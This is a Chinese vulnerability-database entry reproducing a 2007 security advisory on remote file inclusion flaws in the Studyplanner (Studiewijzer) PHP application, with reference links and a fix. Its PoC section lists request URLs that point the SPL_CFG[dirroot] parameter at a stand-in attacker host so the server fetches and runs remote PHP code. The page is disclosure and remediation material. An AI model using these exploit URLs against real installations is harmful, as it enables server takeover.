Study Planner 多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112512 漏洞类型 输入验证
发布时间 2007-03-21 更新时间 2007-07-03
CVE编号 CVE-2007-1628 CNNVD-ID CNNVD-200703-599
漏洞平台 PHP CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/3532
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-599
|漏洞详情
Studyplanner(Studiewijzer)0.15及之前版本中存在多个PHP远程文件包含漏洞。当register_globals被启用时,远程攻击者可以借助SPL_CFG[dirroot]参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_77$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 21th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv77-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Study planner (Studiewijzer)  
version       : <= 0.15
Vendor        : http://www.studiewijzer.nl/
                http://sourceforge.net/projects/splanner
Description :

A study planner, helping students to choose and plan the appropriate actions or tasks in order to reach their goals (PHP based)

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at inc/service.alert.inc.php :  
  	
----------------inc/service.alert.inc.php-------------------
<?php
/**
 * Alerting service
 *
 * $Author: jebbol $
 * $Revision: 1.1 $
 * $Date: 2006/08/24 17:33:44 $
 *
 * @copyright Copyright (c) 2005-2006 Studiewijzer.nl
 * @link      http://www.studiewijzer.nl
 * @license   http://www.gnu.org/copyleft/gpl.html
 */

include_once ($SPL_CFG['dirroot'].'/class/stu.class.php');
...
----------------------------------------------------------------


Variables $SPL_CFG['dirroot'] is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :
inc/settings.ses.php
db/mysql/db.inc.php
integration/shortstat/configuration.php
methodology/traditional/class/ali.class.php
methodology/traditional/class/cat.class.php
methodology/traditional/ui/inc/cat_browse.inc.php
methodology/traditional/ui/inc/chr_browse.inc.php
methodology/traditional/ui/inc/chr_display.inc.php
methodology/traditional/ui/inc/dash_browse.inc.php
ws/spl.webservice.php
ws/konfabulator/gateway_admin.php

and more ..

Poc/Exploit:
~~~~~~~~~

http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil?



Solution:
~~~~~~

- Sanitize variable $SPL_CFG['dirroot'] on affected file.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-03-21]
|参考资料

来源:XF
名称:studyplanner-multiple-scripts-file-include(33128)
链接:http://xforce.iss.net/xforce/xfdb/33128
来源:BID
名称:23076
链接:http://www.securityfocus.com/bid/23076
来源:BUGTRAQ
名称:20070322[ECHO_ADV_77$2007]Studyplanner(Studiewijzer)<=0.15RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/463491/100/0/threaded
来源:MILW0RM
名称:3532
链接:http://www.milw0rm.com/exploits/3532
来源:VUPEN
名称:ADV-2007-1069
链接:http://www.frsirt.com/english/advisories/2007/1069
来源:MISC
链接:http://advisories.echo.or.id/adv/adv77-K-159-2007.txt